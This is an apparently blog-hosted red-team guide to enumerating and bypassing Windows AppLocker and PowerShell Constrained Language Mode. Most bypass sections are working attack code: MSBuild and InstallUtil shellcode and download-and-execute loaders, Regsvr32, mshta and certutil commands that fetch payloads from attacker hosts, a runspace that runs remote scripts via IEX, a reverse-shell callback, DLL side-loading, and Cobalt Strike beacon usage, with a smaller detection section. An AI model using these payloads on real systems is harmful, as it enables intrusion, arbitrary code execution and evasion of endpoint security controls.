ᛉ Yggdrasil

Malware development

AppLocker & PowerShell Constrained Language Mode

15 Sep 2026 · 4,728 words · 21 min

Contents

The definitive guide to understanding, enumerating, and bypassing AppLocker application whitelisting and PowerShell Constrained Language Mode (CLM) for Red Team operations.

Legend: [ENUM] = Enumeration technique | [BYPASS] = Bypass method | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [CLM] = Constrained Language Mode specific | [AL] = AppLocker specific | [LOL] = Living Off the Land | [CS] = Cobalt Strike compatible


1. What is AppLocker?

What it means: AppLocker is Microsoft's application whitelisting solution built into Windows. It uses policy rules to define which executables, scripts, DLLs, Windows Installer files, and packaged apps are allowed to run. Anything not explicitly permitted is blocked.

AppLocker operates via the Application Identity Service (AppIDSvc). If that service is not running, AppLocker enforcement is inactive — you can check with sc query AppIDSvc.

1.1 AppLocker Rule Categories

Category File Types Controlled Default Enforcement
Executable Rules .exe, .com Block unlisted
Windows Installer Rules .msi, .msp, .mst Block unlisted
Script Rules .ps1, .bat, .cmd, .vbs, .js Block unlisted
DLL Rules .dll, .ocx Disabled by default (high overhead)
Packaged App Rules .appx, UWP apps Block unlisted

[OPSEC] DLL rule enforcement is almost never enabled in production due to system overhead. This is a major bypass avenue.

1.2 AppLocker Rule Conditions

Condition Based On Strength Bypass Risk
Publisher Code signature + cert chain Strong Medium (steal cert, sign your own)
Hash SHA-256 of specific file Very Strong Low (but brittle — breaks on file update)
Path File path or folder Weak High (writable path abuse, wildcards)

1.3 Default Allow Rules

By default AppLocker ships with allow rules for: - %WINDIR%\* — Everything in C:\Windows\ - %PROGRAMFILES%\* — Everything in C:\Program Files\ - %PROGRAMFILES(X86)%\* — Everything in C:\Program Files (x86)\ - Administrators can run anything

[OPSEC] These defaults create enormous bypass surface. Many subdirectories under C:\Windows\ are writable by standard users.


2. What is Constrained Language Mode (CLM)?

What it means: CLM is a PowerShell execution mode that restricts the language features available to users. It blocks access to .NET types, COM objects, Win32 API calls, and most things that make PowerShell dangerous from a security perspective.

2.1 PowerShell Language Modes

Mode Description Capabilities
FullLanguage Default — no restrictions Everything allowed
ConstrainedLanguage AppLocker/WDAC triggered Severely limited
RestrictedLanguage Very locked down Only basic operators
NoLanguage No script execution Command pipeline only

2.2 What CLM Blocks

# These ALL fail under CLM:

# .NET type access
[System.Net.WebClient]::new()                    # ERROR
[System.Runtime.InteropServices.Marshal]         # ERROR

# P/Invoke / Add-Type
Add-Type -MemberDefinition $code -Name "Win32"   # ERROR

# COM object creation
$wsh = New-Object -ComObject WScript.Shell        # ERROR

# Type casting
[IntPtr]$ptr = 0x1234                            # ERROR

# Math namespace
[math]::Pow(2,10)                                # ERROR

2.3 What CLM Allows

# These still work under CLM:
Get-Process
Get-Service
Get-ChildItem
Start-Process
Invoke-Command
Enter-PSSession
Get-Content / Set-Content
powerpick (Cobalt Strike — bypasses CLM entirely)

3. How AppLocker & CLM Relate

Critical relationship: CLM is automatically enforced when AppLocker is configured with Script Rules enabled. PowerShell detects the AppLocker policy by querying HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script and drops into CLM if any script policy is present.

AppLocker Policy Present with Script Rules
            │
            ▼
    PowerShell starts
            │
            ▼
    Queries AppLocker via Get-AppLockerPolicy
            │
            ├─ Script allowed for current path → FullLanguage
            │
            └─ Script not in allow list → CLM enforced

[DETECT] This is why bypassing AppLocker often also bypasses CLM — if you execute from a trusted path, you get FullLanguage mode automatically.

[DETECT] CLM does NOT require AppLocker. WDAC (Windows Defender Application Control) also enforces CLM, and can do so more robustly than AppLocker.


4. Enumerating AppLocker Policy

4.1 Local Registry Query (Beacon / Shell)

# Check if AppLocker is enforced
sc query AppIDSvc

# Read raw AppLocker rules from registry
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2

# Check per-category enforcement
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Exe
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Dll
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Msi
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2\Appx

4.2 PowerShell Cmdlets (if FullLanguage available)

# Get all AppLocker policies
Get-AppLockerPolicy -Effective | Format-List

# Get only Executable rules
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Test if a specific file is allowed
Test-AppLockerPolicy -Path C:\temp\test.exe -User Everyone

# Get the XML of the full policy (readable format)
Get-AppLockerPolicy -Effective -Xml

4.3 Via GPO (from Cobalt Strike Beacon)

# Find GPO containing AppLocker policy
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*AppLocker*" -or $_.DisplayName -like "*Application*" } | select DisplayName, Name, GPCFileSysPath | fl

# Download the Registry.pol from the GPO SysVol path
beacon> download \\domain.local\SysVol\domain.local\Policies\{GUID}\Machine\Registry.pol

# Parse the .pol file (on attacker machine)
Parse-PolFile .\Registry.pol

4.4 Identifying Writable Paths in Trusted Locations

# Find writable directories inside C:\Windows\ (where execution is trusted)
Get-ChildItem "C:\Windows" -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
    $acl = Get-Acl $_.FullName -ErrorAction SilentlyContinue
    if ($acl.Access | Where-Object { $_.IdentityReference -match "Users|Everyone|Authenticated" -and $_.FileSystemRights -match "Write|FullControl|Modify" }) {
        $_.FullName
    }
}

# Common writable trusted paths (check these first):
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\tracing\
# C:\Windows\System32\spool\drivers\color\
# C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
# C:\Windows\System32\Tasks\
# C:\Windows\SysWOW64\Tasks\
# C:\Windows\debug\WIA\

5. Enumerating CLM Status

# Check current PowerShell language mode
$ExecutionContext.SessionState.LanguageMode

# Output: FullLanguage     → No AppLocker script enforcement (or admin)
# Output: ConstrainedLanguage → AppLocker script policy active

# Check remotely via Beacon (winrm)
beacon> remote-exec winrm TARGET $ExecutionContext.SessionState.LanguageMode

# Check AppLocker status via Seatbelt
beacon> execute-assembly Seatbelt.exe AppLocker

# Check the actual SrpV2 key for Script rules
reg query "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script"

6. AppLocker Rule Types & Weaknesses

6.1 Path Rules — Most Common & Most Bypassable

<!-- Example: Standard default rule (allows everything in C:\Windows) -->
<FilePathRule Id="..." Name="All Windows files" Action="Allow">
  <Conditions>
    <FilePathCondition Path="%WINDIR%\*"/>
  </Conditions>
</FilePathRule>

<!-- Example: Overly broad custom rule (wildcard in middle) -->
<FilePathRule Id="..." Name="Custom Apps" Action="Allow">
  <Conditions>
    <FilePathCondition Path="%OSDRIVE%\*\Packages\*"/>
  </Conditions>
</FilePathRule>
<!-- Bypass: Create C:\AnyFolder\Packages\ and drop payload there -->

Common path rule weaknesses:

Weak Rule Pattern Bypass
%WINDIR%\* Write to C:\Windows\Tasks\ or C:\Windows\Temp\
%PROGRAMFILES%\* If any subfolder is user-writable
%OSDRIVE%\*\Packages\* Create your own Packages folder
C:\Users\* User controls their own profile — drop anything
\\server\share\* Control the share, drop payload

6.2 Publisher Rules

<!-- Allows anything signed by Microsoft -->
<FilePublisherRule Action="Allow">
  <Conditions>
    <FilePublisherCondition PublisherName="O=MICROSOFT CORPORATION" />
  </Conditions>
</FilePublisherRule>

Bypass vectors: - If you compromise an internal CA, sign your payload - Use legitimate Microsoft-signed binaries that execute code (LOLBAS) - MSBuild, InstallUtil, Regsvr32 are all Microsoft-signed

6.3 Hash Rules

<!-- Allows only exact hash of specific version -->
<FileHashRule Action="Allow">
  <Conditions>
    <FileHashCondition>
      <FileHash Type="SHA256" Data="0x1A2B..." SourceFileName="tool.exe" />
    </FileHashCondition>
  </Conditions>
</FileHashRule>

Bypass: Hash rules are very strong. Only meaningful weakness: - If the file is in a user-writable directory and the hash is of the DIRECTORY rather than the file (misconfiguration) - Find an unlisted binary in the same allowed directory


7. AppLocker Bypass Techniques

7.1 Writable Trusted Path Abuse

What it means: Place your payload in a directory that AppLocker trusts (like C:\Windows\Tasks\) because the policy uses path-based rules allowing all of C:\Windows\*.

# [BYPASS] Copy payload to a writable path inside C:\Windows\
copy C:\Users\user\Desktop\payload.exe C:\Windows\Tasks\payload.exe
C:\Windows\Tasks\payload.exe

# Or via Beacon
beacon> cd C:\Windows\Tasks
beacon> upload C:\Payloads\beacon.exe
beacon> shell C:\Windows\Tasks\beacon.exe

# Writable paths that are commonly allowed:
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\tracing\
# C:\Windows\debug\WIA\
# C:\Windows\System32\spool\drivers\color\

[OPSEC] Dropping an unsigned EXE into C:\Windows\Tasks is noisy. Sysmon logs file creation and process creation. Use a signed binary or legitimate LOL technique where possible.

[DETECT] Sysmon Event ID 11 (FileCreate) in C:\Windows\Tasks from a non-SYSTEM process is suspicious.


7.2 LOLBAS — Trusted Binary Execution

What it means: Use Microsoft-signed binaries already on the system to execute arbitrary code. These are trusted by Publisher rules and allowed by default path rules.

MSBuild.exe — Execute Inline C

<!-- test.xml — drop to disk, execute with MSBuild -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exec">
    <Exec />
  </Target>
  <UsingTask TaskName="Exec" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Diagnostics;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;

        public class Exec : Task, ITask {
          public override bool Execute() {
            // Drop shellcode runner or reverse shell here
            Process.Start("powershell.exe", "-nop -w hidden -enc <base64payload>");
            return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
:: Execute MSBuild with the malicious project file
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\test.xml

[DETECT] MSBuild.exe spawning child processes (especially PowerShell) is highly suspicious. Many mature AppLocker policies explicitly deny MSBuild via a Deny rule.


InstallUtil.exe — Execute .NET Assembly

// Create a .NET class with an Install() method
// Compile: csc.exe /unsafe payload.cs
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;

[System.ComponentModel.RunInstaller(true)]
public class Payload : System.Configuration.Install.Installer {
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, ref uint i);

    public override void Uninstall(System.Collections.IDictionary d) {
        byte[] shellcode = new byte[] { /* shellcode bytes */ };
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
        Marshal.Copy(shellcode, 0, mem, shellcode.Length);
        uint tid = 0;
        CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, ref tid);
        System.Threading.Thread.Sleep(10000);
    }
}
:: Execute without actually installing anything
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

Regsvr32.exe — COM Scriptlet Execution (Squiblydoo)

:: Execute a remote SCT file — no file write needed
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

:: Or local SCT file
regsvr32.exe /s /n /u /i:C:\temp\payload.sct scrobj.dll
<!-- payload.sct — COM scriptlet -->
<?XML version="1.0"?>
<scriptlet>
<registration progid="PoC" classid="{AAAA-1111-BBBB-2222-CCCC}">
  <script language="JScript">
    <![CDATA[
      var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -enc <b64>", 0, false);
    ]]>
  </script>
</registration>
</scriptlet>

[OPSEC] Regsvr32 making outbound HTTP requests is a well-known IOC. Many orgs block this at the network level. Use local SCT file where possible.


Other Key LOLBAS Binaries

Binary Path Execution Method
mshta.exe C:\Windows\System32\mshta.exe Execute VBScript/JScript HTA files or URLs
wscript.exe C:\Windows\System32\wscript.exe Execute .vbs / .js scripts
cscript.exe C:\Windows\System32\cscript.exe Same as wscript, console mode
certutil.exe C:\Windows\System32\certutil.exe Download files, decode base64
rundll32.exe C:\Windows\System32\rundll32.exe Execute DLL exports
msiexec.exe C:\Windows\System32\msiexec.exe Execute MSI packages
odbcconf.exe C:\Windows\System32\odbcconf.exe Load DLL via /A {REGSVR payload.dll}
xwizard.exe C:\Windows\System32\xwizard.exe Execute arbitrary .NET assemblies
ftp.exe C:\Windows\System32\ftp.exe Script execution via !command
forfiles.exe C:\Windows\System32\forfiles.exe Execute arbitrary commands via /c cmd /c
:: mshta — execute remote HTA
mshta.exe http://attacker.com/payload.hta

:: certutil — download and decode payload
certutil.exe -urlcache -split -f http://attacker.com/payload.b64 payload.b64
certutil.exe -decode payload.b64 payload.exe

:: rundll32 — execute DLL export
rundll32.exe payload.dll,EntryPoint

:: odbcconf — load DLL
odbcconf.exe /A {REGSVR C:\path\to\payload.dll}

7.3 Alternate Data Streams (ADS)

What it means: NTFS Alternate Data Streams allow you to hide data in a "stream" attached to a file. If a trusted file (e.g., a .txt in an allowed path) has an ADS containing an executable, the ADS can sometimes be executed.

:: Write executable into ADS of a trusted file
type payload.exe > "C:\Windows\Tasks\legit.txt:payload.exe"

:: Execute the ADS (older Windows)
wmic process call create "C:\Windows\Tasks\legit.txt:payload.exe"

:: Check ADS exists
dir /r C:\Windows\Tasks\legit.txt

[OPSEC] ADS execution is less reliable on modern Windows and usually blocked by modern AppLocker configs. Best on older systems (pre-Win10).


7.4 DLL Side-Loading

What it means: If AppLocker doesn't enforce DLL rules (very common), you can place a malicious DLL in the same directory as a trusted application and the trusted app will load your DLL instead of the legitimate one.

# Step 1: Find a trusted application that loads DLLs from its own directory
# (using Process Monitor — look for NAME NOT FOUND on DLL loads)

# Step 2: Drop malicious DLL with the expected name
copy maldll.dll "C:\Program Files\LegitApp\missingdep.dll"

# Step 3: Execute the trusted application
"C:\Program Files\LegitApp\LegitApp.exe"
# → LegitApp.exe loads missingdep.dll → your code runs inside a trusted process

# Common targets for DLL side-loading
# Microsoft Teams, Zoom, Slack installers in user-writable AppData
# Any application installed to %AppData%\Local or %AppData%\Roaming

[OPSEC] Since the DLL is loaded by a trusted, signed process, AppLocker publisher rules are satisfied. Your DLL itself is never evaluated for trust — only the loading EXE is.

[DETECT] Sysmon Event ID 7 (ImageLoaded) — loading unsigned DLL from non-standard path from a signed process.


7.5 Script Execution via Trusted Runtimes

# Python (if installed and allowed)
python -c "import subprocess; subprocess.run(['calc.exe'])"

# Perl / Ruby / Lua (check what's installed)
perl -e "system('calc.exe')"

# Node.js
node -e "require('child_process').exec('calc.exe')"

# .NET interactive (if available)
dotnet-script payload.csx

# JScript via Windows Script Host
wscript.exe payload.js
cscript.exe payload.js

8. CLM Bypass Techniques

8.1 PowerShell Downgrade Attack

What it means: PowerShell v2 does not implement or respect CLM. If PowerShell v2 is installed (it often is, especially pre-Win10 1909), you can spawn a v2 shell and operate in FullLanguage mode.

# Check if PowerShell v2 is available
Get-WindowsFeature PowerShell-V2            # Server
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root  # Client

# Spawn a PowerShell v2 shell
powershell.exe -version 2

# Confirm you're in v2 and FullLanguage
$PSVersionTable.PSVersion
$ExecutionContext.SessionState.LanguageMode  # Should say FullLanguage

[OPSEC] PowerShell v2 does not have ScriptBlock Logging or AMSI. This makes it a very attractive bypass for both CLM and logging evasion simultaneously.

[DETECT] Spawning powershell.exe -version 2 is a well-known IOC. Defenders with mature logging will alert on this. The version string appears in process command line arguments (Sysmon Event ID 1).

[OPSEC] Microsoft has deprecated v2 and it can be removed via DISM: Disable-WindowsOptionalFeature -FeatureName MicrosoftWindowsPowerShellV2Root. Check before relying on this.

:: Check if v2 engine is present on target
dism /online /get-featureinfo /featurename:MicrosoftWindowsPowerShellV2Root

8.2 Custom PowerShell Runspace (C# / .NET)

What it means: CLM is enforced at the powershell.exe binary level. If you create your own PowerShell runspace inside a C# application or .NET assembly, you bypass CLM entirely because your process is not powershell.exe and AppLocker is not enforcing CLM against it.

// C# — Create a PowerShell runspace, run arbitrary code outside CLM
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class RunspaceCLMBypass {
    static void Main(string[] args) {
        // Create a runspace — this is NOT subject to CLM
        Runspace rs = RunspaceFactory.CreateRunspace();
        rs.Open();

        PowerShell ps = PowerShell.Create();
        ps.Runspace = rs;

        // This runs in FullLanguage mode regardless of AppLocker/CLM
        ps.AddScript("[System.Net.WebClient]::new().DownloadString('http://attacker.com/payload.ps1') | IEX");
        ps.Invoke();

        rs.Close();
    }
}
:: Compile and run
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Management.Automation.dll RunspaceCLMBypass.cs
RunspaceCLMBypass.exe

[OPSEC] The resulting EXE needs to bypass AppLocker too — compile it and place it in a trusted path, or execute via execute-assembly (Cobalt Strike) to avoid disk writes.


8.3 powerpick (Cobalt Strike)

What it means: Cobalt Strike's powerpick command is an "unmanaged" PowerShell implementation. It spins up a PowerShell runspace inside the Beacon process itself — not inside powershell.exe. CLM does not apply.

# Standard powershell — blocked by CLM
beacon> powershell [math]::Pow(2,10)
# → ERROR: Cannot invoke method... ConstrainedLanguage

# powerpick — bypasses CLM entirely
beacon> powerpick [math]::Pow(2,10)
# → 1024

# Import PowerView and run under full language
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain

# execute-assembly also bypasses CLM (runs inside Beacon process)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe triage

[OPSEC] powerpick spawns the spawnto process (e.g., notepad.exe) and injects a .NET CLR runspace into it. This is why CLM doesn't apply — the process is not powershell.exe. Ensure your spawnto is configured appropriately for the environment.


8.4 PSByPassCLM

What it means: A dedicated tool that hosts a PowerShell runspace in a custom .NET process to bypass CLM.

# Clone and compile
git clone https://github.com/padovah4ck/PSByPassCLM
# Compile in Visual Studio or:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PSByPassCLM.cs

# Execute — starts a new shell in FullLanguage mode
C:\Windows\Tasks\PSByPassCLM.exe

# Or with a reverse shell callback
PSByPassCLM.exe 10.10.10.100 4444 -p

# Verify bypass
$ExecutionContext.SessionState.LanguageMode  # → FullLanguage

8.5 PowerShdll — PowerShell via DLL

What it means: PowerShdll runs PowerShell code through a DLL loaded by trusted binaries (rundll32, regsvr32, etc.), bypassing both CLM and script logging.

:: Via rundll32 (interactive)
rundll32.exe PowerShdll.dll,main

:: Via regsvr32
regsvr32.exe /s /n /u /i:PowerShdll.dll scrobj.dll

:: Via odbcconf
odbcconf.exe /a {REGSVR PowerShdll.dll}

:: Via PresentationHost (WPF host)
PresentationHost.exe -debug PowerShdll.dll

8.6 Registry-Based CLM Check Bypass

What it means: In some configurations, CLM is applied based on the __PSLockdownPolicy environment variable or registry key. If you can modify this before spawning PowerShell, CLM won't apply.

# CLM checks this environment variable on startup
# If it doesn't equal "4", CLM is not enforced
[System.Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "0", "Machine")

# Then spawn a new PowerShell process
powershell.exe
$ExecutionContext.SessionState.LanguageMode  # → FullLanguage

# [OPSEC] Requires ability to modify machine-level env vars (local admin typically)
# Also works per-process:
$env:__PSLockdownPolicy = "0"
powershell.exe  # New process inherits the env var → FullLanguage

[OPSEC] This only works when CLM is enforced via the environment variable mechanism, not via proper WDAC policy. Proper WDAC enforces CLM at the kernel level and cannot be bypassed this way.


8.7 JEA (Just Enough Administration) Escape

What it means: Some environments use JEA endpoints which run in NoLanguage or RestrictedLanguage mode. Misconfigured JEA endpoints may allow escaping to a more permissive mode.

# Connect to a JEA endpoint
Enter-PSSession -ComputerName TARGET -ConfigurationName JEAEndpoint

# Check what commands are allowed
Get-Command

# Look for commands that accept ScriptBlock parameters — these are escape vectors
# E.g., if Invoke-Expression or Start-Job is allowed:
Invoke-Expression { $ExecutionContext.SessionState.LanguageMode }

# Or if any command accepts a -Filter scriptblock:
Get-ChildItem -Filter { Write-Host $ExecutionContext.SessionState.LanguageMode }

9. Combined AppLocker + CLM Bypasses

These techniques bypass both restrictions simultaneously.

9.1 MSBuild — Drop & Execute (Combined)

# Step 1: Write MSBuild XML to a trusted writable path
$xml = @'
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="exec">
    <MyTask />
  </Target>
  <UsingTask TaskName="MyTask" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class MyTask : Task, ITask {
          public override bool Execute() {
            System.Net.WebClient wc = new System.Net.WebClient();
            string script = wc.DownloadString("http://10.10.10.100/payload.ps1");
            System.Management.Automation.PowerShell ps = System.Management.Automation.PowerShell.Create();
            ps.AddScript(script);
            ps.Invoke();
            return true;
          }
        }
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
'@

# Step 2: Write to trusted path (no AppLocker block on .xml in C:\Windows\Tasks)
$xml | Out-File -FilePath "C:\Windows\Tasks\build.xml" -Encoding ASCII

# Step 3: Execute via trusted, signed MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\build.xml
# → MSBuild is trusted (Publisher rule) → C# runs inline → Runspace bypasses CLM

9.2 InstallUtil — Reflective Load (Combined)

# Step 1: Generate shellcode loader as .NET DLL (via Donut or manual)
# Step 2: Drop to writable trusted path
beacon> upload C:\Payloads\loader.dll C:\Windows\Tasks\loader.dll

# Step 3: Execute via InstallUtil
beacon> shell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\loader.dll
# → InstallUtil is trusted → calls Uninstall() in your DLL → shellcode runs

9.3 execute-assembly Over CLM Machine (Cobalt Strike)

# On a machine with AppLocker + CLM enforced:
beacon> getuid
[*] You are TARGET\user

beacon> powershell $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage   ← CLM active

# execute-assembly bypasses both — runs inside Beacon process, not powershell.exe
beacon> execute-assembly C:\Tools\SharpHound.exe -c All
beacon> execute-assembly C:\Tools\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Seatbelt.exe -group=all

# powerpick bypasses CLM via unmanaged runspace
beacon> powerpick Get-DomainUser -Identity jking -Properties MemberOf | fl

9.4 Wildcard Path Rule Exploitation

# If policy has: Allow %OSDRIVE%\*\Packages\*

# Create the folder structure in user-writable location
mkdir C:\Users\user\Packages

# Drop payload there — path matches the wildcard rule
copy payload.exe C:\Users\user\Packages\payload.exe
C:\Users\user\Packages\payload.exe    # → Allowed by AppLocker

# This also gives you FullLanguage in PowerShell scripts in that path
# because the path matches the allow rule
powershell.exe -f C:\Users\user\Packages\payload.ps1   # → FullLanguage

10. WDAC vs AppLocker — Key Differences

Feature AppLocker WDAC
Enforcement Level User mode Kernel mode
Security Boundary Not a security boundary (Microsoft) Official security boundary (MS)
CLM Enforcement Via env var check (bypassable) Kernel-enforced (very hard to bypass)
Bypass Difficulty Medium High
DLL Enforcement Off by default Enforced if configured
Admin Bypass Admins bypass by default Admins do NOT bypass
CVE / Patches Rarely patched Actively maintained
Minimum OS Windows 7 / Server 2008 R2 Windows 10 / Server 2016

[OPSEC] Always confirm whether you're dealing with AppLocker or WDAC. The bypass approach is very different. WDAC at kernel level cannot be bypassed by environment variable tricks or path manipulation.


11. Detection & Logging

11.1 What Defenders See

AppLocker Events (Event Log: Microsoft-Windows-AppLocker):

Event ID Description
8003 Executable was allowed to run (Exe and DLL)
8004 Executable was blocked
8005 Script was allowed
8006 Script was blocked
8007 MSI/installer was blocked
8020 Packaged app was allowed
8021 Packaged app was blocked

Sysmon Events relevant to bypass detection:

Event ID Description Bypass Indicator
1 Process Create powershell.exe -version 2, msbuild.exe, regsvr32.exe spawning children
7 Image Loaded Unsigned DLL loaded by signed process (DLL side-load)
11 FileCreate Executable dropped to C:\Windows\Tasks\, C:\Windows\Temp\
15 FileCreateStreamHash Alternate Data Stream creation
17/18 Pipe Create/Connect Cobalt Strike named pipe (powerpick communication)

PowerShell Logging:

Log Type What It Captures
Script Block Logging (4104) Every script block executed — including obfuscated code
Module Logging (4103) Module/cmdlet usage
Transcription Full session input/output to file

[DETECT] The most reliable detection for CLM bypass via runspace: look for System.Management.Automation.dll loaded into non-PowerShell processes (Sysmon Event ID 7).

11.2 Detection Queries (Kibana/Sysmon)

# MSBuild spawning children
event.module: sysmon and event.type: process_start and process.parent.name: MSBuild.exe

# PowerShell v2 downgrade attempt
event.module: sysmon and event.type: process_start and process.command_line: *-version 2*

# Regsvr32 network connection (Squiblydoo)
event.module: sysmon and event.type: connection and process.name: regsvr32.exe

# InstallUtil execution
event.module: sysmon and event.type: process_start and process.name: InstallUtil.exe

# Executable dropped to Windows\Tasks
event.module: sysmon and event.type: creation and file.directory: *Windows\\Tasks* and file.extension: exe

# SMA.dll loaded in non-PS process (runspace bypass)
event.module: sysmon and event.type: image_load and file.name: System.Management.Automation.dll and not process.name: powershell.exe

12. Comparison Matrix

Bypass Technique Bypasses AppLocker Bypasses CLM Disk Write Complexity Detection Risk Best Scenario
Writable Trusted Path ✅ ❌ ✅ Low Medium No EDR, basic AppLocker
MSBuild inline C# ✅ ✅ ✅ (xml file) Medium High WDAC not deployed
InstallUtil ✅ ✅ ✅ Medium High Older environments
Regsvr32 / SCT ✅ ✅ Optional Low High Quick initial execution
DLL Side-Loading ✅ ✅ ✅ (dll) Medium Medium No DLL rules
PS v2 Downgrade ❌ ✅ ❌ Low High CLM bypass only
Custom Runspace (.NET) ✅ (if EXE in trusted path) ✅ ✅ High Medium AppLocker + CLM both present
powerpick (CS) ✅ ✅ ❌ Low Medium Existing Beacon session
execute-assembly (CS) ✅ ✅ ❌ Low Medium Existing Beacon session
PSByPassCLM ✅ (if in trusted path) ✅ ✅ Low Medium Targeted CLM bypass
Env Var (__PSLockdownPolicy) ❌ ✅ ❌ Low Low CLM via env var only (not WDAC)
Wildcard Path Exploit ✅ ✅ ✅ Low Low Poorly written path rules

13. Cheat Sheet

Quick Enumeration

# Is AppLocker enforced?
sc query AppIDSvc

# What's my PowerShell language mode?
$ExecutionContext.SessionState.LanguageMode

# Read all AppLocker rules (if FullLanguage available)
Get-AppLockerPolicy -Effective -Xml | Out-File C:\temp\policy.xml

# Writable directories in trusted paths (find bypass opportunities)
cmd /c "dir /a /s C:\Windows\Tasks C:\Windows\Temp 2>nul"

Decision Tree — Which Bypass?

Got a shell / Beacon on a CLM + AppLocker machine?
│
├─ Have a Cobalt Strike Beacon?
│   └─ YES → Use powerpick / execute-assembly → Done. No bypass needed.
│
├─ No Beacon — shell only?
│   │
│   ├─ CLM only, no AppLocker?
│   │   ├─ PS v2 installed? → powershell.exe -version 2
│   │   ├─ Admin rights? → Set __PSLockdownPolicy=0 env var
│   │   └─ No admin → PSByPassCLM.exe (if you can drop a file)
│   │
│   ├─ AppLocker only (no CLM)?
│   │   ├─ Find writable path in C:\Windows\ → drop payload there
│   │   ├─ DLL side-load opportunity? → drop malicious DLL
│   │   └─ LOLBAS → mshta / regsvr32 / certutil
│   │
│   └─ Both AppLocker + CLM?
│       ├─ MSBuild.exe allowed? → MSBuild inline C# → bypasses both
│       ├─ InstallUtil.exe? → Compile .NET DLL with Uninstall() method
│       ├─ Writable trusted path? → Drop custom runspace EXE there
│       ├─ PS v2 installed? → powershell.exe -version 2 (from allowed path)
│       └─ Wildcard path rule? → Create folder matching wildcard, drop payload

Quick LOLBAS Commands

:: MSBuild — inline C# execution
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.xml

:: InstallUtil — .NET DLL
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

:: Regsvr32 — remote SCT
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll

:: mshta — remote HTA
mshta.exe http://ATTACKER/payload.hta

:: certutil — download file
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe payload.exe

:: rundll32 — DLL export
rundll32.exe payload.dll,EntryPoint

:: PS v2 downgrade
powershell.exe -version 2 -nop -w hidden -c "IEX(IWR 'http://ATTACKER/payload.ps1')"

Common Writable Trusted Paths

C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\debug\WIA\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\Tasks\
C:\Windows\SysWOW64\Tasks\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\com\dmp\

Cobalt Strike CLM/AppLocker Commands

# Check CLM status remotely
beacon> remote-exec winrm TARGET $ExecutionContext.SessionState.LanguageMode

# Always use these over powershell on CLM machines:
beacon> powerpick <any powershell code>
beacon> execute-assembly <any .NET binary>
beacon> psinject <pid> x64 <script>     # inject PS runspace into existing process

# Bypass AppLocker for lateral movement (psexec drops to C:\Windows — trusted)
beacon> jump psexec64 TARGET smb         # EXE dropped to C:\Windows\ — trusted path

References & Tools

Tools: - PSByPassCLM — https://github.com/padovah4ck/PSByPassCLM - PowerShdll — https://github.com/p3nt4/PowerShdll - LOLBAS Project — https://lolbas-project.github.io - UltimateWDACBypassList — https://github.com/bohops/UltimateWDACBypassList - AppLocker Bypass List — https://github.com/api0cradle/UltimateAppLockerByPassList

